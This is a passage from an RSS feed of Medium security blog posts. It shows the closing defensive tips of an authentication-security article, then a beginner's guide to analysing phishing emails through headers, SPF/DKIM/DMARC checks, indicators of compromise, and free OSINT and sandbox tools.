after a set number of failed attempts. While this won’t eliminate brute-force attacks, it can deter attackers.</li></ul><p>5. <strong>Thoroughly Check Verification Logic</strong>:</p><ul><li>Regularly audit authentication code for logical flaws that could be exploited. Ensure checks cannot be easily bypassed.</li></ul><p>6. <strong>Focus on Supplementary Functionality</strong>:</p><ul><li>Don’t overlook related functionalities like password resets. Ensure these are as robust as the main login mechanism.</li></ul><p>7. <strong>Implement Proper Multi-Factor Authentication</strong>:</p><ul><li>Use dedicated devices or apps for generating verification codes instead of SMS. Ensure that the logic for 2FA is sound and not easily bypassed.</li></ul><h3>Conclusion</h3><p>Authentication security is a critical aspect of web application safety. By understanding common vulnerabilities and implementing robust security measures, developers can significantly enhance the protection of user accounts against unauthorized access. Prioritizing security in authentication mechanisms is essential, as even the strongest systems can be compromised by simple mistakes or oversights.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6ebf1b4bf0e0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Unmasking Deception: Unveiling Phishing Emails through Static and Dynamic Analysis]]></title>
            <link>https://medium.com/hedgus/unmasking-deception-unveiling-phishing-emails-through-static-and-dynamic-analysis-7e691ca1ed07?source=rss-cb2259d7eb17------2</link>
            <guid isPermaLink="false">https://medium.com/p/7e691ca1ed07</guid>
            <category><![CDATA[phishing-email]]></category>
            <category><![CDATA[phishing]]></category>
            <category><![CDATA[cyberattack]]></category>
            <category><![CDATA[phishing-attacks]]></category>
            <category><![CDATA[phishing-awareness]]></category>
            <dc:creator><![CDATA[Y.Furkan]]></dc:creator>
            <pubDate>Thu, 02 May 2024 11:14:18 GMT</pubDate>
            <atom:updated>2024-05-02T11:25:05.649Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3758IhFkqjiV1ikyH05LpQ.jpeg" /></figure><p>Phishing is super important to understand because it’s a really common way for scammers to steal your information or money. They trick you with emails or messages that look like they’re from someone you trust, like your bank or a friend. If you click on a link or attachment in the message, it could steal your personal details or even infect your device with malware. By being aware of phishing, you can learn how to spot these scams and protect yourself.</p><p>Phishing: Tricking people into revealing sensitive information or installing malware through emails, calls, texts, or social media.</p><h4>Types of Phishing:</h4><p><strong>Email Phishing (Most Common)</strong>: Deceptive emails that try to steal information or make you click malicious links.<br><strong>Spear Phishing:</strong> Targeted emails crafted for specific individuals or organizations.<br><strong>Whaling</strong>: Spear phishing specifically targeting high-level executives.<br><strong>Vishing (Voice Phishing):</strong> Scam phone calls tricking people into giving away personal or financial information.<br><strong>Smishing (SMS Phishing):</strong> Deceptive text messages trying to steal information or make you click malicious links.<br><strong>Pharming: </strong>Redirecting users from legitimate websites to fake ones that steal information.<br><strong>Social Media Phishing:</strong> Using fake or compromised social media accounts to trick people into giving away personal information.<br><strong>Malware-Based Phishing:</strong> Emails with attachments or links that install malware on the victim’s device.<br><strong>Clone Phishing:</strong> Almost identical copies of legitimate emails, hoping to trick recipients into thinking they’re real.</p><p>Analyzing phishing emails involves both static and dynamic analysis techniques to understand their characteristics, detect malicious intent, and protect against potential threats. Let’s break down these concepts:</p><h4>Static Analysis:</h4><p>Header Analysis: Examining email headers to check for anomalies or suspicious elements such as forged sender addresses or unusual routing paths.</p><h4>Content Analysis:</h4><p>URL Inspection: Checking hyperlinks in the email to see if they lead to known phishing domains or have obfuscated URLs.</p><p>Attachment Analysis: Scanning attachments for malicious code or executable files using antivirus software or sandboxing techniques.</p><p>Language and Content: Looking for common phishing language, grammar errors, urgent demands, or requests for sensitive information.</p><h4>Dynamic Analysis:</h4><p>Link Sandboxing: Opening suspicious links in a controlled environment (sandbox) to observe their behavior, interactions, and potential redirections. This helps detect malicious activities without exposing the main system.</p><p>Attachment Execution: Running suspicious attachments in a controlled environment to observe their actions, such as attempting to install malware or accessing sensitive data.</p><p>Network Traffic Analysis: Monitoring network communications initiated by the email or its attachments to detect connections to known malicious servers or command-and-control (C2) infrastructure.</p><p>Behavioral Analysis: Observing the overall behavior of the email or its components in a controlled environment to detect any unusual or malicious actions.</p><p><strong>E-MAIL ANALYZING</strong></p><p>We have three protocols.</p><p>1-SMTP (Simple Mail Transfer Protocol) PORT 465:<br>Used for sending emails.<br>Typically operates on port 465.<br>2-POP3 (Post Office Protocol) PORT 995:<br>Used for downloading and storing emails locally.<br>Limited synchronization, meaning you can use it with only one device effectively.<br>Offers a simple configuration.<br>3-IMAP (Internet Message Access Protocol) PORT 993:<br>Used for accessing and syncing emails across multiple devices.<br>Allows for server-side organization of emails (backup).<br>Ideal for better online access and management of emails.</p><p>POP3 = Download and Store Locally-Limited Synchronization(YOU CAN USE JUST ONE DEVICE)-Simple Configuration</p><p>IMAP=Access and Sync Across Multiple Devices-Server-Side Organization(BACKUP)-Better for Online Access</p><h4>NOW ,</h4><p>We should know our important and crucial words and methodologies.<br>I like to sum up some complex words and phrases. I explain briefly.</p><p>User Mailbox (or Username)<br>@<br>Domain</p><p>HINT: Actually, while looking, username is not important; we should use domain.</p><p>E-mail headers are composed of two parts. Header and body.</p><p>HEADER = From — the sender’s email address</p><p>Subject: the email’s subject line<br>Date: the date when the email was sent<br>To: the recipient’s email address</p><p>Body: The email body is the part of the email that contains the text (plain or HTML formatted) the sender wants you to view.</p><p>NOW, While analyzing an e-mail, we should look at these things. Maybe you have also known different methods and views of points, which you can add as comments.</p><p><strong>THE IMPORTANT THINGS</strong></p><p>HYPERLINK (people usually click)</p><p>LANGUAGES (Dear customer,hello, attackers don’t use languages if he or she is not from motherland.)</p><p>EMOTIONAL (urgency, excitement,sadness, opportunity)</p><p>BRAND(Amazon,Amozon/Apple,AppIe)</p><p>TIME (time zone is crucial)</p><p>IP ADDRESS</p><p>DOMAIN ADDRESS</p><p>ANY URL</p><p>NAME OF ATTACHMENT (Sometimes, they are executable file, .php,.exe,.sh)</p><p>HASH VALUE OF ATTACHMENT</p><p>Finally, We take an e-mail as .txt or .eml and investigate with OSINT tools.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dYdNObkmneOErv3m-q3LUg.png" /></figure><p>Open a notebook and write an indicator of compromise.</p><p>There is no information about where this mail came from.</p><p>retunt path is information if this mail attains</p><p>It is important that the reply-to and return paths are usually the same</p><p>On the right side, watch out for emotional sitituation and brand</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*X-NrrnBBz_jvdrTMpo474w.png" /></figure><p>We see the hops in between until it comes to us. If there is ioc here, we need to take note.<br>X-Headers are important for email transmission and security because they provide additional information, enable monitoring/analysis, can be integrated with security protocols and can be used for special functions. this is where experience and detail come in. but it is important to remember that even this can be manipulated by an attacker.</p><p>Email can contain a critical attachment that demands our immediate attention. Due to its significance, a static analysis alone might not be sufficient. We need to proceed with a dynamic analysis to thoroughly assess the attachment’s safety.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bdDV1ZRUwLo-Vf40m_qriA.png" /></figure><p>SPF (Sender Policy Framework): SPF is a security protocol used to verify if the sending server of an email is authorized. SPF records define the IP addresses associated with a specific domain. Receiving servers use SPF records to check if the incoming email indeed came from an authorized server.</p><p>DKIM (DomainKeys Identified Mail): DKIM is a security protocol used to verify the integrity and authenticity of email messages. The sending server adds a digital signature to messages. The receiving server verifies this signature upon receipt, providing assurance that the message came from a trusted source.</p><p>DMARC (Domain-based Message Authentication, Reporting, and Conformance): DMARC is designed to enhance the use and accuracy of SPF and DKIM. It allows email senders to specify SPF and DKIM authentication and policies for receiving servers. DMARC also provides reporting features to monitor email authentication accuracy.</p><p>These three protocols, when used together, enhance the accuracy, security, and reliability of email messages. SPF verifies sender authorization, DKIM ensures message integrity, and DMARC facilitates effective use of these verifications, making email more secure against spam, fraud, and malicious activities.</p><p>I have seen phishing mail that has passed through these three security registries cleanly, we need to look holistically when thinking.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pXaA7tKz3O5zdYAuzktVVw.png" /></figure><p>There was no from information in the other tool, there is here, double check is always important. here we throw it as txt, in the other tool we threw it with eml extension.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wExWpnzHr_9wzUdwmJQEvg.png" /></figure><p>A tool that extracts the hyperlink hidden in the file as txt. always have a notepad handy and save it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*izOVBY-j7_PY0Rv4ueJcvw.png" /></figure><p>There are many tools, one of the most basic is virustotal.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5_DpB22jOBuJs9S_T2ZrvA.png" /></figure><p>Static analysis is fast and easy. We can reach the solution quickly. But sometimes there can be very sophisticated phishing emails, and this may not be noticed in static analysis. We can also do dynamic analysis with Anyrun. We should collect hyperlinks, phishing mail behavior, indicators of compromise, and analyze them. I have shown the basics too. You can easily find similar ones. I leave links with phishing examples for study. Good work, thank you.</p><p>1-ANALYZE(All of them do the same job, your choice)<br><a href="https://app.phishtool.com/">https://app.phishtool.com/</a> (this is very good)<br><a href="https://mha.azurewebsites.net/">https://mha.azurewebsites.net/</a><br><a href="https://toolbox.googleapps.com/apps/messageheader/analyzeheader">https://toolbox.googleapps.com/apps/messageheader/analyzeheader</a><br><a href="https://mailheader.org/">https://mailheader.org</a>.</p><p>2-EXTRACTING HYPERLINK URL<br><a href="https://www.convertcsv.com/url-extractor.htm">https://www.convertcsv.com/url-extractor.htm</a></p><p>3-IP,DOMAIN,HASH..<br><a href="https://www.hybrid-analysis.com/">https://www.hybrid-analysis.com/</a><br><a href="https://www.virustotal.com/gui/home/uploadv">https://www.virustotal.com/gui/home/uploadv</a></p><p><a href="https://www.shodan.io/">https://www.shodan.io/</a><br><a href="https://www.talosintelligence.com/">https://www.talosintelligence.com/</a><br><a href="https://urlscan.io/">https://urlscan.io/</a></p><p>4-SANDBOX( We can drop our files and investigate its behavior.)<br><a href="https://any.run/">https://any.run/</a></p><p>5- PHISING EMAIL EXAMPLES</p><p><a href="https://github.com/rf-peixoto/phishing_pot">https://github.com/rf-peixoto/phishing_pot</a></p><ul><li>All sites are community version, you can easily use this free osint tools.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7e691ca1ed07" width="1" height="1" alt=""><hr><p><a href="https://medium.com/hedgus/unmasking-deception-unveiling-phishing-emails-through-static-and-dynamic-analysis-7e691ca1ed07">Unmasking Deception: Unveiling Phishing Emails through Static and Dynamic Analysis</a> was originally published in <a href="https://medium.com/hedgus">Hedgus</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>